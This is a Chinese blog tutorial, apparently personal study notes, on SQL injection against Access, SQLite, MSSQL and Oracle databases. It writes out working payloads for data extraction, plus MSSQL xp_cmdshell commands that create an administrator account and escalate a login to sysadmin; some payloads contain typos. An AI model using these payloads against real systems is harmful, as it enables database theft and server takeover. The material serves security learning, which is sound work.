SQL注入9之其他数据库注入

免责声明

该文章仅用于信息防御技术的交流和学习,请勿用于其他用途; 在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献

 

其他数据库注入

Access数据库

Microsoft Office Access 是由微软发布的关系型数据库管理系统,它结合了MicrosoftJet Database Engine 和图形用户界面两项特点,小巧而灵活,是Windows下小型C/S系统和网站B/S不错的选择。

Access数据库的缺点

1、数据库过大时,一般Access数据库到100M左右时性能就会开始下降,注定只能用于小型的系统或者网站,开发简单直接。
2、容易出现各种因数据库刷新频率过快而引起的数据库问题,所以利用工具暴库时需要小心。 3、Access数据安全性比不上其他类型的数据库,主要就一个数据文件,没有服务的概念

Access数据库注入原理

1、检测注入点

我们常说的检测注入是否存在的方法
and 1=1 返回正常
and 1=2 返回错误

只要这两点存在那么就存在注入,牵扯到数学中的逻辑运算符
或=or 且=and 非=xor
真且真=真
真或假=真
真且假=假

2、查询字段数量

3、表名和列名猜解

由于access只有一个表,因此无法像mysql一样可以支持猜解,access只能靠猜,猜的方法一般有一下2种:
1、字典文件收集(社工)
2、Access偏移注入
注意: access数据库和mysql数据库的区别,access数据库没有类似于mysql中存放着所有的数据库名,表名和列名的information数据库,access数据库靠字典来猜解表名和列名(access偏移注入可以在不知道列明的情况下获取数据)

4、表名和列名猜解--字典文件收集

5、猜解数据--逐字查询法

逐字查询 字如其名一个字一个字的查询,一般比如“啊D” “明小子” 两款工具都是这样的,查询出来的信息很准确,很受猜解工具的青睐
1、猜表名: and exists(select * from 表名)
2、猜列名: and exists(select 列名 from 表名)
3、查数据:确定长度 and (select top 1 len(列名) from admin)>5
4、确定asc数据(asc编码) 猜解每一位:and (select top 1 asc(mid(列名,位数,1)) from admin)>97 猜解每一行:and (select top 1 asc(mid(列名,位数,1)) from (select 行数 * from admin order by id) order by id desc)>97

SQLite注入

SQLite数据库特点

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置、事务性的SQL数据库引擎。它就是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。 ​ 就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接,SQLite 直接访问其存储文件。

数据库特点:
1、轻量级
2、独立性,没有依赖,无需安装
3、隔离性 全部在一个文件夹系统
4、跨平台 支持众多操作系统
5、多语言接口 支持众多编程语言
6、安全性 事务,通过独占性和共享锁来实现独立事务的处理,多个进程可以在同一个时间内从同一个数据库读取数据,但只有一个可以写入数据。

所支持的数据类型:
支持NULL,INTEGER,Real,text,blob数据类型
一次代表,空值,整型值,浮点型,字符串类型,二进制对象,
动态类型引用(弱引用)
当某个值插入到数据库时,SQlite将会检查他的类型,如果该类型与关联的列不匹配,SQlite则会尝试将改制转换成该列的类型,如果不能转换,则该值将作为本身的类型储存

使用须知: 没有可用于SQlite的网络服务器,只能通过网络共享可能存在的文件锁定或者性能问题 没有用户账户的概念,而是根据文件系统的共享设置。 支持数据库大小至2TB

SQLite数据库隐藏表介绍

SQLite数据库联合型注入实战

构建出来 select name,sql from sqlite_master limit 0,1 来进行查看这些数据,根据返回回来的数据可以知道,表名是 users 列名是 name和pass 这样来,我们就有了注入思路

1、使用线上靶场平台靶场,启动实验,点击购买页面,然后点击序号1可以看到有参数显示,使用and 1=1 1=2 –- 查看是否存在注入

2、判断出此处为注入点后使用order by查询列数,可使用二分法查询

?snumber=1 order by 5 --

3、使用union select查询显示的列数

?snumber=1 union select 1,2,3,4,5 --

4、判断出数据会在2,4,3上面显示,然后获取表名

?snumber=-1 union select 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --

5、获取表名后获取列名

?snumber=-1 union select 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='flag' --

6、获取表内数据

?snumber=-1 union SELECT 1,flag,3,4,5 FROM flag --

SQLite数据库字符型注入

SQLite数据库布尔型注入

以上两种看其他笔记

MSSQL数据库介绍

SQLServer/MSSQL是美国Microsoft公式推出的一种关系型数据库,是一个可扩散的,高性能的,为分布式客户机/服务器计算机所设计的数据库管理系统。

其主要特点如下:
1、高性能设计,可充分利用WindowsNT的优势
2、系统管理先进,支持Windows图形化管理工具
3、强壮的事务处理能力,采用各种方法保证数据的完整性
4、支持对称多处理器结构,存储过程
5、数据库端口1433

MSSQL数据库使用场景

棋牌游戏、人事考试、学校、政府、OA(办公系统)....一般配合MSSQL+IIS+Asp/Aspx

MSSQL数据库注入

创建数据库会创建数据库文件
1、.mdf:数据库文件(MSSql Data File)
2、.ldf:数据库日志文件(Log Data File) 复制数据库的时候要同时复制这两个文件

文件后缀

1、mysql
一个数据库是一个目录,目录下一个表对应三个文件
(1).frm:表定义文件
(2).myd:数据文件
(3).myi:索引文件

2、access
.mdb文件

3、SQLServer
(1).mdf:数据库文件
(2).ldf:数据库日志文件

五个系统数据库

1、master:控制SQL Server系统的所有系统级信息,例如:登陆账户信息、链接服务器和系统配置设置、记录其它所有数据库的存在、数据文件的位置、SQL Server的初始化信息等等。如果master数据库不可用,则无法启动SQL Server。
2、msdb:用于SQL Server代理计划警报和作业,数据库定时执行某些操作,数据库邮件等
3、model:用作SQL Server实例上创建的所有数据库的模板。对model数据库进行的修改(如数据库大小,排序规则,恢复模式和其他数据库选项)将应用于以后创建的所有数据库,在model数据库中创建一张表,则以后每次创建数据库的时候都会有默认的一张同样的表。
4、tempdb:一个工作空间,用于保存临时对象或中间结果集。一个全局资源,可供连接到SQL Server实例的所有用户使用。每次启动SQL Server 时都会重新创建tempdb
5、resource:一个只读数据库,包含SQL Server包括的系统对象,系统对象在物理上保留在Resource数据库中,但在逻辑上显示在每个数据库的sys架构中。

SQLServer是以DBID来区分数据库的,五个系统数据库DBID分别是1,2,3,4,5,所以我们再创建数据库,DBID就是从6开始了,这个在后面注入的时候有时候会用到。

角色概念

在mssql中,我们新建一个用户需要给用户指定两种角色,角色意为着一种身份,在数据库服务器里是对一系列权限的组织,一种是服务器角色,另一种是数据库角色,定义如下: ​
1)服务器角色就是针对运行整个数据库的服务器设定的角色和权限: 对服务器某些操作权限:比如说执行系统命令、管理服务器磁盘、开机关机等等,如果不指定具体角色,默认为public角色。 ​ 2)数据库角色就是针对某个特定数据库设定的角色和权限。 对mssql数据库中的某个或某几个具备权限:管理权限,有最高管理权限、只可读权限、只可写权限等

数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等(不止可以写shell,可以直接创建管理员账号密码)
——system

db权限:文件管理,数据库操作等(可以通过备份数据库写shell)
——user-adminstrators

public权限:数据库操作(不能写shell)
——guest-users

判断数据库

1、判断数据库类别(Windows系统下比较常见的2种数据库)

1.1)access and exsits(select * from msysobjects)>0

1.2)sqlserver and exsits(select * from sysobjects)>0

三种特殊表

SQLServer中master数据库,控制SQL Server系统的所有系统级信息,例如:登录账户信息、链接服务器和系统配置设置、记录其他所有数据库的存在,数据文件的位置、 SQL Server的初始化信息等。如果master数据库不可用,则无法启动SQL Server,下有主要的三个特殊的表:

  1. sysdatabases 管理已经存在的数据库

  2. sysobjects 管理已经存在的表

  3. syscolumns 管理表中字段

1、sysdatabases:管理以及存在的数据库

(1)查看mssql中所有的数据库: select * from sysdatabases

(2)判断某个数据库是否存在: select * from sysdatabases where name ='moviesite';

(3)统计数据库的总数: select count(*)as 数据库总数 from sysdatabases;

2、sysobjects:管理已经存在的表

(1)查看数据库中所有的表: select * from sysobjects;
(2)查看用户自己创建的所有表格: select * from sysobjects where type = 'u';
(3)判断某个表格是否存在: select * from sysobjects where name ='movie';
(4)统计表格总数: select count(*)表格总数 from sysobjects;

3、syscolumns:管理表中字段

(1)查看数据库中所有的字段: select * from syscolumns;
(2)查看某张表中所有的字段: select * from syscolumns where id = OBJECT_ID('movie'); (3)查看某一字段是否存在: select * from syscolumns where id = OBJECT_ID('movie') and name ='type';

注入流程及语法

获取数据库版本和当前数据库名

?id=1 amd 1=(select @@version) 报错原理 前面是数字型,后面是字符型,会把后面自动转化成int型,但是转换失败,所以报错信息会曝出版本情况,也可以写成?id=@@version 报错原理和上面类似,这里需要int型,把版本转换成int类型的时候失败,所以报错,这个和上一个都必须要用在数字型注入。 将@@version换成db_name()即可查询当前数据库名称,原理和上面相同

获取数据库名

1、方法1
and 1=(select top 1 name from master.dbo.ysydatabases where dbid>4)
and 1=(select top 1 name from master.dbo.sysdatabases where dbid>5) ......

2、方法2
一次爆出全部表名
and 1=(select name from master.dbo.sysdatabases for xml path)
以xml形式爆出全部的数据库名字
提示:DBID是DataBase IDentifier的缩写,意思就是数据库的唯一标识符

获取数据表名

1、方法1
and 1=(select top 1 name from sysobjects where xtype='u')
and 1=(select top 1 name from sysobjects where xtype='u' and name<>'第一个数据库名')
and 1=(select top 1 name from sysobjects where xtype='u' and name<>'第一个数据库名' and name <>'第二个数据库名') ......

2、方法2
一次性爆出全部数据库表名
and 1=(select name from sysobjects for xml path)
以xml形式爆出全部数据库全部的表

获取列名

and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='表名'))
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where bane ='表名') and name<>'第一个列名') .......

《1》、是否存在xp_cmdshell

and 1=(select count(*)from master.dbo.sysobjects where xtype ='x' and name ='xp_cmdshell')

《2》、用xp_cmdshell执行命令

;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--

《3》、查看权限

and (select IS_SRVROLEMEMBER('sysadmiin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public

《4》、创建一个登录mssql的账号

;exec master.dbo.sp_add login name,pass;--

《5》、把创建的mssql登录账号提升到sysadmin

;exec master.dbo.sp_add srvrolemember name,sysadmin;--

《6》、开启3389端口

其他的一些注入方式

1、猜表名 and (select Count(*)from [表名])>0

2、猜字段 and (select Count(字段名)from [表名])>0

3、猜字段中记录长度 and (select top 1 len(字段名) from 表名)>0

4、猜字段的ascii值 and (select top 1 unicode(substring(字段名,1,1))from 表名>0)

Oracle注入

Oracle数据库也是一种关系型数据库,此数据库体量较大,一般与jsp网站联合; 既然是关系数据库,肯定也是存在一些关系表,在Oracle数据库中,库的概念被淡化,强调用户;

Oracle注入之联合注入

注入原理: 其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据。

引入知识

dual表: 此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上未满足查询条件而产生于MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual;

涉及到的基本用法
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select * from user_tab_columns 查询出当前用户的字段
select * from v$version 查版本


rownum=1(限制查询返回的总行数为一条) 对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用限制查询返回的总行数。 我们可以用rownum<3来要求它输出2条数据

联合查询

1、order by猜解字段后用联合查询 union select null,null,null,null,null from dual 2、查看数据库版本

union select null,null,null,(select banner from sys.v_$version where rownum=1),null from dual 3、查看当前用户 union select null,null,null,(select user from dual),null from dual

4、爆库名

union select null,null,null,(select owner from all_tables where rownum=1),null from dual union select null,null,null,(select owner from all_tables where rownum=1 and owner<>'第一个库名’),null from dual

5、爆表名 union select null,null,null,(select table_name from user_tables where rownum=1),null from dual

6、爆列名 union select null,null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1),null from dual


版权声明:本文为weixin_56218159原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。